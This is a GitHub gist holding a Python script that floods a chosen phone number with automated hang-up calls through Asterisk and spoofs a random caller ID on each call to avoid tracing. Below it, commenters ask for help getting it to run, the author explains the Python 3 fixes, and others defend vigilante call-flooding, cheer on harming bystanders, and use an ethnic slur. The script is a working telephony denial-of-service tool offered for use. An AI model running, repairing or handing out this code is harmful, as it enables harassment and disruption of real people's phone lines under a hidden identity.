Skip to content

Instantly share code, notes, and snippets.

@rdegges
Created November 21, 2009 00:00
Show Gist options
  • Star 31 You must be signed in to star a gist
  • Fork 15 You must be signed in to fork a gist
  • Save rdegges/239891 to your computer and use it in GitHub Desktop.
Save rdegges/239891 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
"""
advanced-flood.py
@author: Randall Degges
@email: rdegges@gmail.com
@date: 11-20-09
This program floods the specified phone number and spoofs caller ID making it
much harder to trace / prevent.
"""
from time import sleep
from sys import argv, exit
from pycall.callfile import *
from random import seed, randint
def genid():
"""
Generate a random 10-digit US telephone number for spoofing to.
"""
return str(randint(1000000000, 9999999999))
def call(num, cid):
"""
Create a call to the specified number which does nothing except hang up.
Also spoofs caller ID to a random 10 digit number.
"""
testcall = CallFile(
trunk_type = 'SIP',
trunk_name = 'flowroute',
callerid_num = cid,
number = num,
application = 'Hangup',
data = ' ',
user = 'asterisk'
)
testcall.run()
def main():
"""
Control the application logic.
"""
seed() # seed the random number generator
if len(argv) < 3:
print 'Usage: %s [number] [calls-per-minute]' % argv[0]
exit(1)
number = argv[1]
try:
cpm = int(argv[2])
except ValueError:
cpm = 1
print 'Starting call flood on target: %s. Placing %d calls per minute.' % (number, cpm)
count = 1
while True:
for x in xrange(cpm):
cid = genid()
print 'Placing call %d using caller ID %s...' % (count, cid)
call(number, cid)
count = count + 1
sleep(60)
if __name__ == '__main__':
"""
Program execution begins here.
"""
main()
@lostdorsai
Copy link

YO TEAM?? somebody was talking about these DDOS scripts being illegal? Why is THAT? The DDOS are being used against fraudulent call centers where people pretend to be IRS (fake) MS tech support (fake) credit card services (fake) and OTHER fraudulent persons. It is obvious that the US GOV does not have resources or time to get after these crooks?
Why could a DDOS against criminals be considered illegal?
What gives????

@nikepus34
Copy link

For the same reason vigilantism is illegal (murdering criminals). What is evil and who gets to decide? Would you wreck a family's phone line or internet because their 10 year old son said something in anger at you? Some people would.

@flyoffthehandle
Copy link

I would. I don’t know what the kid would have done but he obviously deserves it. His family == wrong place wrong time.

@technotommy
Copy link

Hi, I get an error on line 48. Is there an updated version of this somewhere?

Thanks!

@melsayed1981
Copy link

Hi, I get an error on line 48. Is there an updated version of this somewhere?

Thanks!

line 48 has an extra x (or at least i think)
for x in range(cpm):

@F0xtr0t-Sn0w
Copy link

F0xtr0t-Sn0w commented Jul 30, 2019

xrange is proper to python 3, take out the x if you're using a version below

@rdegges
Copy link
Author

rdegges commented Jul 31, 2019

xrange is actually from Python 2 -- it used to be a faster way to iterate through lists because it was a generator. In Python 3 you can just use range instead as they rewrote it to be more efficient.

@F0xtr0t-Sn0w
Copy link

xrange is actually from Python 2 -- it used to be a faster way to iterate through lists because it was a generator. In Python 3 you can just use range instead as they rewrote it to be more efficient.

Alright my bad thanks for the correction man

@cyberdragon442
Copy link

cyberdragon442 commented Sep 18, 2019

I'm getting the error "init() got the unexpected keyword argument 'trunk_name'", it looks like CallFile() may have improper arguments or something. It has a different format then the one used in the pycall docs but I tried it their way and it didn't work either.

(ignore text markup)

@Harrison2222
Copy link

It doesn’t seem to work for me, why?

@cyberdragon442
Copy link

cyberdragon442 commented Oct 6, 2019

It doesn’t seem to work for me, why?

I managed to get it to work, but this script is really old (a decade) and uses an outdated version of pycall. You have edit the CallFile section to the new protocol (which you can view on the documentation for pycall). You can also view the pycall git.

Note: this script is very primitive and simply dials blind and does not verify if the victim number responds or is even active (IE you can waste a ton of time flooding a dead number or continuing a flood after the victim disconnected the number). This might be possible with the newer pycall but I'm not sure.

@jaikumar0298
Copy link

Did you mean print('Usage: %s [number] [calls-per-minute]' % argv[0])?

not working ??

@amnq
Copy link

amnq commented Jun 3, 2020

Could anyone share how they got this code to work, as its a decade old?

@rdegges
Copy link
Author

rdegges commented Jun 3, 2020

The code still works on Python2. If you want to use Python 3, there are small changes you can make. For example, print statements use parenthesis nowadays print('...') vs print '...'.

@Khizary
Copy link

Khizary commented Jun 5, 2020

lol I live in PK idc if this shit illegeal

@TrixTM
Copy link

TrixTM commented Jul 25, 2020

Can someone give me the working code? I get this error:
No module named pycall.callfile

Copy link

ghost commented Sep 15, 2020

Can someone give me the working code? I get this error:
No module named pycall.callfile

Bruh my dude you have to install the module

@TrixTM
Copy link

TrixTM commented Sep 15, 2020

Do i need asterisk? If yes how do i configure it. I installed it but i don't know how to configure it.

@mattoattacko
Copy link

I too have many questions about this code and would love to get some help :)

@rdegges
Copy link
Author

rdegges commented Sep 17, 2020

Yes, you need Asterisk for this. This code is based on a library I wrote that sits on top of Asterisk. It's not really that easy to set up without prior knowledge, it wasn't meant for people to use without a background in using Asterisk. If you'd like to learn how to set that up, etc., read this series I wrote years back called Transparent Telephony:

@TachlisGeredt
Copy link

I'm getting this error:

Jacob-Mac-mini:Desktop kovyjacob$ python3 advanced-flood.py 14372341004 5
Starting call flood on target: 14372341004. Placing 5 calls per minute.
Placing call 1 using caller ID 5944928648...
Traceback (most recent call last):
File "/Users/kovyjacob/Desktop/advanced-flood.py", line 73, in
main()
File "/Users/kovyjacob/Desktop/advanced-flood.py", line 65, in main
call(number, cid)
File "/Users/kovyjacob/Desktop/advanced-flood.py", line 30, in call
testcall = CallFile(
TypeError: init() got an unexpected keyword argument 'trunk_type'

How do I get it to work?

@bdragomir
Copy link

For the same reason vigilantism is illegal (murdering criminals). What is evil and who gets to decide? Would you wreck a family's phone line or internet because their 10 year old son said something in anger at you? Some people would.

tell this shit to your grandma after she's getting scammed by some indian mofo

@manololon
Copy link

https://gist.github.com/rdegges/239891?permalink_comment_id=3457096#gistcomment-3457096

thats amazing article. Im reading it. Thanks for sharing

@dop3st
Copy link

dop3st commented May 10, 2023

For the same reason vigilantism is illegal (murdering criminals). What is evil and who gets to decide? Would you wreck a family's phone line or internet because their 10 year old son said something in anger at you? Some people would.

tell this shit to your grandma after she's getting scammed by some indian mofo

hows grandma these days

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment